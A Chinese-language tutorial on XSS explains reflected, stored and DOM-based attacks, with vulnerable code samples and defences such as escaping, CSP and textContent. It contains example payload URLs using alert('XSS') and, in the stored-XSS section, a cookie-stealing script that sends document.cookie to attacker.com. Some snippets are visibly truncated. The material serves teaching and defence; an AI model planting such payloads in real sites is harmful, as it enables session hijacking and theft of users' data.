概念
跨站脚本攻击(XSS),指攻击者通过篡改网页,嵌入恶意脚本程序,在用户浏览网页时,控制用户浏览器进行恶意操作。
- XXS的分类
- 反射型XSS
- 存储型XSS
- DOM型XSS
原理
反射型XSS
接收用户提交的访问者的姓名,并返回给浏览器。
- 漏洞利用步骤
- 黑客利用服务器上的XSS漏洞,构造恶意的链接,发送给受害者,引诱受害者点击这个链接。
- 受害者点击该链接,向服务器发送包含恶意js代码的请求。
- 服务器接收受害发送的请求,没有对参数做检查和过滤,直接将恶意的js代码响应给受害者。
- 受害者收到服务器响应回来的恶意的js代码,并由浏览器解析执行,受到攻击!
一些信息的搜索框,可能存在反射型的XSS。
存储型XSS
- 存储型xss的利用步骤
- 黑客利用服务器上的XSS漏洞,提交恶意的js代码,服务器将恶意代码存储到数据库;
- 受害者(其他用户)访问服务器的某个页面,而这个页码会使用到数据库的数据。服务器从数据库获取恶意的js代码,并返回给受害者;
存储型XSS漏洞利用条件比较简单,危害面也比较广,比反射型XSS更受到关注!
DOM型XSS
- DOM型的XSS攻击步骤
- 发现漏洞:攻击者定位目标页面中未验证或未转义的用户输入源(如 URL 参数、document.referrer 等)。
- 构造恶意输入:攻击者通过输入或 URL 构造恶意脚本(如 )。
- 引诱用户访问:通过发送恶意链接或嵌入 iframe 等方式诱导用户访问目标页面。
- 恶意脚本执行:浏览器解析页面时,动态执行注入的脚本,达到窃取数据、伪造行为等目的。
攻击场景
反射型XSS
-
常见场景:
- 搜索框:搜索关键字未经过滤直接显示在结果页面上。
- 错误提示页面:参数中的值被直接反射到错误信息中。
- 登录页面:登录失败时,直接将用户输入显示在页面中。
-
攻击例子:
- 寻找漏洞:一个搜索页面在 URL 参数中接收搜索关键词并直接反射到页面中,代码如下:
Search Results
You searched for:
<script> let query = new URLSearchParams(window.location.search).get('q'); document.getElementById('search-query').innerHTML = query; </script> </body> </html>- 恶意链接:攻击者构造恶意链接:
http://example.com/search?q=<script>alert('XSS')</script>
- 用户点击链接
- 用户被诱导点击恶意链接。
- 页面执行时,<script>alert('XSS')</script> 被插入到 DOM 中并执行。
- 攻击结果
- 显示弹窗 XSS。
- 如果攻击者进一步注入恶意代码(如窃取 Cookies):(如下脚本),用户敏感信息可能被泄露。
-
防御措施
- 输出转义:对所有反射到页面中的数据进行 HTML 转义。
- 输入验证:限制用户输入内容的格式。
- 使用 CSP:通过 Content Security Policy 限制脚本执行。
- 避免动态 HTML 注入:使用安全的 DOM 操作方法(如 textContent)。
存储型XSS
- 攻击场景
- 评论系统:用户提交的评论内容被直接存储并在页面上显示。
- 用户资料页:攻击者在个人签名、昵称等字段中存储恶意代码。
- 反馈系统:用户提交的反馈被管理后台读取并直接渲染。
- 消息系统:恶意消息被存储,目标用户查看时触发脚本。
- 攻击例子
-
寻找漏洞:一个博客的评论功能,用户提交的评论内容被存储在数据库中,并在页面加载时直接渲染到前端。
- 后端代码未过滤用户输入,将评论直接存入数据库。
- 前端代码直接输出评论内容到页面。
-
恶意脚本提交:攻击者在评论表单中输入恶意代码,提交评论后,服务器将其存储到数据库中。
<script>fetch('http://attacker.com/?cookie=' + document.cookie)</script> -
恶意代码触发:其他用户访问博客页面时,评论内容被加载到页面中:浏览器解析 HTML 时,执行了攻击者的脚本。
<script>fetch('http://attacker.com/?cookie=' + document.cookie)</script>
-
攻击结果
- 用户浏览器中的 Cookies 被窃取,可能导致会话劫持。
- 恶意脚本可能进一步扩展攻击范围(如在页面上插入伪造的登录表单)。
- 防御措施
- 输出转义:对输出到页面的内容进行 HTML 转义。例如,将
DOM型XSS
-
攻击场景
- URL 参数处理:页面通过 JavaScript 从 URL 中读取参数并直接操作 DOM。
- Hash 值解析:单页应用(SPA)中,直接根据 window.location.hash 更新页面内容。
- 前端渲染模板:动态将用户输入插入到页面中,而未进行任何安全处理。
- 本地存储或 Cookie:前端代码直接使用未验证的存储内容操作 DOM。
-
攻击例子
- 寻找漏洞:某网页会根据 URL 参数显示欢迎消息:
-
恶意链接:攻击者构造一个恶意 URL:
http://example.com?user=<script>alert('XSS')</script>
-
执行过程: 用户访问此链接,JavaScript 动态解析 URL 参数,将其内容插入到页面中:
Welcome, <script>alert('XSS')</script>!
-
浏览器解析 DOM 时执行了注入的脚本,触发弹窗或其他攻击。
-
攻击结果
- 窃取信息:通过恶意代码读取 document.cookie 或用户输入。
- 伪造操作:利用脚本模拟用户行为(如提交表单)。
- 传播攻击:在受害者环境中植入更多恶意代码。
- 防御措施
- 避免直接操作 DOM:使用安全的 DOM 操作方式(如 textContent 而非 innerHTML)。
- 对输入进行验证和转义:
- 验证:限制输入的内容格式。
- 转义:将特殊字符(如 <、>, ")转义为安全的 HTML 实体。
- 使用安全的前端框架:如 Vue、React,这些框架默认对动态内容进行转义。
- CSP(内容安全策略):通过限制脚本来源减少恶意代码执行的风险。
- 严格的前端代码审计:确保任何动态内容渲染均经过安全处理。
参考文档